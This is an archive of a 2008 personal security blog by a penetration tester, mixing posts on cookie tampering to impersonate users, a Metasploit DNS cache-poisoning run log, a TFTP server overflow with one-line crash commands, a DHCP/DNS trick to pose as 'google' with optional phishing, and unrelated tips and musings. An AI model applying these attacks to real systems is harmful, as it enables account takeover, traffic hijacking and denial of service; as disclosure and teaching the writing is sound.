Thursday, December 11, 2008

Never trust a cookie

Let's say you're testing a web app, and you notice that in addition to a standard JSESSIONID, it sets 3 additional cookies:
XXSessionID
XXSessionUser
XXSessionEmpno

If you're like me, you get a little excited when you notice that the last two contain the username and employee number of the logged in user. Any time an application is storing identifiable information in a cookie, there's a good chance it's a disaster waiting to happen. The fact is that if it's being stored there, it's being used somewhere, and chances are it's not being revalidated before being used.

So, like a good little security gnome, I change the username and ID number to "not mine", and sure enough, I am now somebody else. Authorization problems like this are unfortunately incredibly common. Many apps are very strict about making sure you authenticate, but once you've done so, forget to check that you are authorized to the resources you access.

But wait! Do I even need to authenticate in the first place to exploit this? Let's see... *type type type* No luck. As it should be, the app is checking the session ID to make sure I'm at least logged in as SOMEBODY. I guess that's good.

Oh, wait...turns out it just checks for the existence of the session ID cookie. As long as I put any bogus value in the XXSessionID cookie, I can specify any user's username and employee ID in the XXSessionUser and XXSessionEmpno cookies without having to log in.

Lessons learned:
1. Use your built-in session management tools.
2. Store session state information server-side.
3. Never trust a cookie.

Monday, November 3, 2008

Vote.

From Mitch:
In the movie WarGames, the computer realizes that the only way to win a nuclear war is not to play. Voting is the opposite: the only way to lose is not to play. So please go out there tomorrow and cast your ballot for whatever candidate you think is the best choice, based on their stated policies. Every election is important, and this one is no different. Nothing else you do all year will matter as much.

Wednesday, October 29, 2008

Instinctive threat modeling

A friend of mine sent me a link to a new site today, and, as tends to happen, my mind immediately turned to "how could this be broken?"

In this particular case, what interested me was a field that allowed an unauthenticated user to add an arbitrary subdomain to the site, as in <user input>.thedomain.com.

Depending on how the process occurs, something as simple and common as CRLF injection could potentially be a serious hole here.

It occurs to me that this ability to instinctively identify where the potential biggest holes are, before even beginning testing, is a fairly important skill for a security professional. I firmly believe that having a well-rounded technology background is the key to this. In the case of this particular site, I had to tap into experience with:
1. Web development
2. DNS protocol and software
3. Common web site security flaws

There are certain flaws that a security person with the right background can identify just by understanding the thought processes of a developer or a sysadmin, along with a solid grasp on "how it works". One great example is the DNS flaw discovered by Dan Kaminsky earlier this summer. Ultimately an incredibly simple flaw that, once revealed, seemed painstakingly obvious to anyone with an understanding of how DNS works. But it took someone like Dan with a very deep, practical knowledge of DNS along with an advanced security mindset to put all the pieces together.

Monday, October 6, 2008

WMI/DCOM from Linux

Don't know why this was so tough to Google for, but the solution for WMI queries to a Windows box from Linux is right here.

From the README:
DCOM/WMI client implementation for Linux.
andrzej.hajda@wp.pl, 2006-2007

ABOUT

This implementation of DCOM/WMI client is based on Samba4 sources.
It uses RPC/DCOM mechanism to interact with WMI services on
Windows 2000/XP/2003 machines.
It contains also winexe - program to remote execution Windows commands remotely from Linux box.
Additional info about winexe at http://eol.ovh.org/winexe/.


  bin/wmic - WMI simple client, it queries server using ExecQuery WMI method,
sample usage:
wmic -U domain/user%password //host "select Name from Win32_Process"
Program is at early stage of development and there are many bugs.
To retrieve more debug info use switch "-d number", where bigger number
corresponds to bigger output (I am using "-d 99" :) )
bin/wmis - WMI test suite. Currently it does only following things:
- Creates directory remotely using Win32_Process.Create("cmd.exe /C mkdir C:\wmi_test_dir_tmp").
- Executes ExecNotificationQuery for monitoring file create/delete events in this directory.
- Waits for 4 notifications and display their types.
wmi/_pywmi.so - Samba wrapper for python, together with wmi/pywmi.py and ../pycom/* modules can be used
to run zenwin on Linux.
bin/winexe - Remote windows commands execution.
Sample usage:
winexe -U domain/user%password //192.168.0.3 "ipconfig /all"


WMIC, which is really what I was looking for, works great. There are also Python modules, which I haven't tried yet.

Thursday, August 28, 2008

Mitch Krpata writes a fantastic video game blog called Insult Swordfighting, and is a total whore for Technorati authority. So here you go! The name alone makes you want to visit!

He also writes for The Phoenix.

Wednesday, July 23, 2008

Jeepers.

msf auxiliary(baliwicked_host) > exploit
[*] Targeting nameserver x.x.x.x for injection of pwned.XXX.com. as 1.3.3.7
[*] Querying recon nameserver for XXX.com.'s nameservers...
[*] Got an NS record: XXX.com. 258801 IN NS ns1.XXX.com.
[*] Querying recon nameserver for address of ns1.XXX.com....
[*] Got an A record: ns1.XXX.com. 258801 IN A x.x.x.x
[*] Checking Authoritativeness: Querying x.x.x.x for XXX.com....
[*] ns1.XXX.com. is authoritative for XXX.com., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.XXX.com. into x.x.x.x:34649...
[*] Sent 1000 queries and 10000 spoofed responses...
[*] Sent 2000 queries and 20000 spoofed responses...
[*] Poisoning successful after 2250 attempts: pwned.XXX.com == 1.3.3.7
[*] Auxiliary module execution completed


$ nslookup.exe pwned.XXX.com pwned.nameserver.com
Server: pwned.nameserver.com
Address: x.x.x.x

Non-authoritative answer:
Name: pwned.XXX.com
Address: 1.3.3.7

Wednesday, July 16, 2008

Weighing in on the DNS thing...

My quick thoughts on the Kaminsky DNS thing, though I'm a little late to the party. Apparently it's a real thing. I spoke with someone who's lucky enough to be in the Magical Inner Circle of Truth and he agreed.

I have nothing but wild speculation here. I read through the BIND source a little, and I may be barking up the wrong tree, but it looks like the resolver doesn't randomize the QID for every query. Rather, it keeps a QID pool and checks for collisions before assigning an ID. Therefore, if you were to send a large number of queries to a bogus server where they will time out, you could effectively take those QIDs out of play. If this is a server you control, you are then able to drastically reduce the search space, since you know which QIDs you don't have to try.

Just a thought.

Friday, June 20, 2008

Drawball code

Looks like a lot of people are showing up here looking for the Drawball information I posted last year. Here's some crummy Perl code that might help you get started. All it does is connect to the server every second and check how much ink you've got, as an integer value.


#!/usr/bin/perl

use IO::Socket::Inet;
use LWP::Simple;
use strict;

$/ = "\x00";
my $sock = IO::Socket::INET->new('70.84.35.114:8007') or die "Could not connect\n";
handshake();

while($sock) {
if(my $ink = getink()) {
printf "ink: %08x\n", $ink;
}
sleep 1;
}

sub getink {
print $sock "i\x00";
my $i = <$sock>;
my $numink = undef;
if($i =~ /^i(\x01.{3})\x00/) {
$numink = unpack "N", $1;
}
return $numink;
}

sub handshake {
my ($seed) = (get "http://www.drawball.com") =~ /l=(.{7})/;
print $sock "$seed\x00";
my $chal = <$sock>;
my $resp = decode($seed, $chal);
print $sock "$resp\x00";
print $sock "\x65\x00\x69\x00\x62\x01\x01\x01\x01\x07\x00";
}

sub decode {
my @k1 = split //, shift;
my @k2 = split //, shift;

my $out;
my $k2c = 0;
for(0 .. @k1-1) {
my $tmp = ord($k2[$k2c]) - 65;
my $c = ord($k1[$_]) - $tmp;
my $out .= chr($c);
my $k2c += 2;
}
return $out;
}

Monday, June 2, 2008

Wednesday, May 28, 2008

Neat: code execution vulnerability on the Motorola Razr.

By the way, I predict this sort of thing is going to get huge and nasty REALLY quickly in the next couple of years, especially as phones evolve to become more iPhone-like (standard Wifi, for example). Anyone want to start a pool on when the first widespread wild mobile worm will hit?

Friday, April 18, 2008

Of course!

"Bad programming? Use good programming. It’s so simple! How could we not have seen it!" -Ptacek

Read this post.

Friday, April 11, 2008

Evil Friday

(YMMV.)

Take one DHCP server that allows you to set your hostname in DNS. Add a whole mess of workstations which are configured with the same search suffix as the DNS domainname. Then call yourself google. Set up a web server and catch all the people who are just typing "google" into their browsers. (I used a Python script to log the request, then 302 the user to google.com.)
host1.domain.edu - - [11/Apr/2008 14:38:27] "GET / HTTP/1.1" 302 -
host2.domain.edu - - [11/Apr/2008 14:46:38] "GET / HTTP/1.1" 302 -
host3.domain.edu - - [11/Apr/2008 14:49:34] "GET / HTTP/1.1" 302 -
host4.domain.edu - - [11/Apr/2008 14:55:21] "GET / HTTP/1.1" 302 -
host5.domain.edu - - [11/Apr/2008 15:03:45] "GET / HTTP/1.1" 302 -
host6.domain.edu - - [11/Apr/2008 15:07:58] "GET / HTTP/1.1" 302 -
host7.domain.edu - - [11/Apr/2008 15:09:45] "GET / HTTP/1.1" 302 -
host8.domain.edu - - [11/Apr/2008 15:10:17] "GET / HTTP/1.1" 302 -
host9.domain.edu - - [11/Apr/2008 15:17:01] "GET / HTTP/1.1" 302 -
host10.domain.edu - - [11/Apr/2008 15:17:37] "GET / HTTP/1.1" 302 -
Optional: go phishing.
Optional part II: clobber the DNS entry for a legitimate host on the network and have REAL fun. (Yes, this works, at least in my environment.)

Tuesday, April 8, 2008

Bash Brace Expansion

I have to give a little shout out to Bash brace expansion. This is one of the neat little toys that I rarely see mentioned. The really quick summary reads like this:
$ echo test_{foo,bar,baz}
test_foo test_bar test_baz
which is useful enough, but where it really shines is in sequence expansion. The idiomatic Bash For loop I've often seen is something like:
$ for i in `seq 1 10`; do echo $i; done
which is just nasty. Compare to:
$ for i in {1..10}; do echo $i; done
which is nicer, but even more nice is:
$ echo {1..10} | tr ' ' '\n'
(IMHO.)

And of course, something like this this comes in really handy:
$ wget www.somewhere.com/{a,b}{1..9}.jpg
Not sure what I would use that for... ;)

Saturday, March 29, 2008

Wow, TFTP servers really do suck.

I went to a talk by Dave Aitel yesterday at Harvard (notes here, if you're interested). Hopefully more to say on it later, but it definitely helped my burnout by reminding me what I'm really doing in security. (Hint: poring through IDS alerts is not what I signed up for.)

One thing Dave mentioned is that TFTP servers are notoriously buggy, so I thought a nice exercise would be to take a look at one and see if I could find something. I'd been playing around in IDA Pro for a while and I was about sick of it, so I was ready to knock that off and read some actual source code. I went to SourceForge and downloaded the first TFTP server I saw. Sure enough, I had a remote DoS within probably 10 minutes. It can most likely even run code, though I'm not hugely interested in proving it right now. That might make a good rainy day project.

So, rather than go through a bunch of hassle, I just posted it on the bug tracker for the project. Was that bad? I kind of thought it was a tiny bit of code that nobody's probably using, but I just checked and it's had 60,000+ downloads.

If you're interested, the bug report is here. It's pretty simple, you need to successfully TFTP GET a file with a long enough filename to overflow the log message buffer. You can do that by requesting "./" a bunch of times before the filename you want. So, basically something like:
tftp X.X.X.X PUT `perl -e'print "A"x128'`
tftp X.X.X.X GET `perl -e'print "./"x100'`/`perl -e'print "A"x128'`
will cause the server to segfault.

UPDATE 4/3: Haha, oh I suck. Exploit code was posted for this bug a couple days after I made the initial bug report (http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt) and
it's much simpler than I thought.

UPDATE AGAIN: Actually it looks like the code and advisories came out the week BEFORE I made the bug report. Now THAT is a weird coincidence, given that the vulnerable release of the server code has been sitting out there since June 2007. What are the odds? Anyway, original update continues...

Turns out the overflow happens well before I thought it did, and the logging function has nothing to do with it. I'm not sure what I failed to check that made me miss this. Actually, I think what I was doing was looking for a way specifically to overflow the log buffer, rather than the struct that holds the filename in the first place. I likely failed to check the simpler option of just sending a GET long filename at all because that wouldn't have gotten me to where I thought I needed to be in the code. I feel incredibly silly now. I guess in the future I will think harder about what I'm doing and pay more attention to detail.

Specifically, the processRequest function starts by defining two variables:
char logbuff[512];
request req;
The request struct looks like:
struct request
{
timeval tv;
fd_set readfds;
pthread_t threadId;
int m_socket;
BYTE sockInd;
BYTE attempt;
char path[256];
FILE *file;
char *filename;
char *mode;
char *alias;
...
And part of the processRequest function includes an unsafe:
strcpy(req.path, cfig.homes[0].target);
strcat(req.path, req.alias);
So, yeah. Next time just grep for strcpy and strcat.

Lost Code

I kinda want to post code for a Metasploit module I wrote a while back against ZDI-06-043
(Novell Netware Client Print Provider Buffer Overflow Vulnerability), but I totally can't find a copy of the finished version.

There's an in-progress version archived from the Metasploit mailing list here. I think it's a working version, if I recall, but I was in the process of learning the MSF DCERPC stuff and a lot of it is pretty ugly.

Thursday, March 27, 2008

VM Visibility

Well, the world is catching up. Last summer, I didn't have a simple solution for gaining visibility into traffic between guests on a single virtual host. Recently, I spoke a bit to Montego Networks about their HyperSwitch product, and I have to say I was impressed. The product was officially announced today. As far as I understand it, this product provides all the capabilities I need and more. Assuming it works as advertised, this thing is going to catch on like wildfire. The price is pretty nice, too.

Here's the full press release. The CTO of Montego also maintains a virtualization security blog, which is worth a read.

Wednesday, March 26, 2008

Things That Aren't Working

Some weeks, nothing is quite as simple as it ought to be. Such as:
  • SSH via Perl from a Windows box. Should be just a matter of choosing between Net::SSH2 and Net::SSH::Perl, right? Neither seems to work for me. I can execute commands, but I can't read the output. There's even a module (Net::SSH::W32Perl) which apparently attempts to resolve compatibility issues, but all it really does is flip blocking on and off for the inet socket at certain points in the connection.
  • Scripting interactions with sudo over SSH. Who knew THIS would be so irritating? The basic problem, I think, is that sudo doesn't read the password from stdin by default. It does have an option to force it to do so, so I just did that. I'm still not able to read the password prompt, though (it's not on stdout or stderr), so I have to kind of fudge it. Did I mention this is all happening in a PHP script that talks to a Bash script which calls SSH to talk to another machine? Yeah. It's kind of a Rube Goldberg contraption.
  • Performing forensics on a Windows Mobile device. You'd think this would be widely supported, but in fact, it seems it's very POORLY supported. I have a trial version of Device Seizure from Paraben Software, which at least claims to do what I'm trying to do. It keeps wanting to crash during acquisition, though, so we'll see how far we get.
  • Also had some problems getting the TOC::Oscar module to work right in Perl, but I'll chalk that up to my own laziness in RTFM.

Hmm, that's all kind of embarrassing to post in public.

Friday, March 21, 2008

An incredibly insightful essay by Bruce Schneier.
Good engineering involves thinking about how things can be made to work; the security mindset involves thinking about how things can be made to fail.

Friday, January 4, 2008

Dream Job

Hoff says:
Assuming you were going to stay in the "Information Security" industry, what would you do if you could pack up your office tomorrow and move into shiny new digs in your dream job? What would that be? With whom? Doing what?
Here's my quick, off-the-cuff answer.

This is an easy one. The company itself would be populated by smart, driven people who are truly passionate about security. Two things I'd be happy doing there would be:

1. Pentesting, but in a smart way. As in not just running some automated tools and producing a pretty report. The ideal would be really digging in to try to find the unique holes for a given project. I wouldn't want to waste time coming up with a big report that basically just said "apply the following vendor patches."

2. Research, ideally studying and inventing entirely new vulnerabilities and attacks. Random fuzzing, not so much. (Though I'd take "fuzz until it breaks/write an exploit" work in a second.)

Makes me wonder why I'm not actively pursuing this.